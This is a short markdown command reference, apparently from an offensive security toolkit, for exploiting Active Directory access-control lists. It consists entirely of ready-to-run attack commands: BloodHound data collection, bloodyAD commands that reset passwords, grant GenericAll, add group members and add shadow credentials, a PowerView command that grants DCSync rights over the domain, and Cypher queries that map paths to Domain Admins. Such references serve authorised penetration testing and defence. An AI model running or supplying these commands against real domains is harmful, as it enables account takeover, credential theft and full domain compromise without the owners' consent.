<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting Active Directory ACLs

## BloodHound Python Collector

```bash
bloodhound-python -u USER -p PASS -d DOMAIN -ns DC_IP -c All
bloodhound-python -u USER -p PASS -d DOMAIN -ns DC_IP -c ACL,ObjectProps,Trusts
```

## bloodyAD

```bash
bloodyAD -d DOMAIN -u USER -p PASS --host DC set password TARGET 'NewPass!'
bloodyAD -d DOMAIN -u USER -p PASS --host DC add genericAll TARGET USER
bloodyAD -d DOMAIN -u USER -p PASS --host DC add groupMember GROUP USER
bloodyAD -d DOMAIN -u USER -p PASS --host DC add shadowCredentials TARGET
```

## PowerView ACL Commands

```powershell
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity user -Rights DCSync
```

## BloodHound Cypher Queries

```cypher
MATCH p=shortestPath((u:User {owned:true})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(t) WHERE t.highvalue=true RETURN p
```
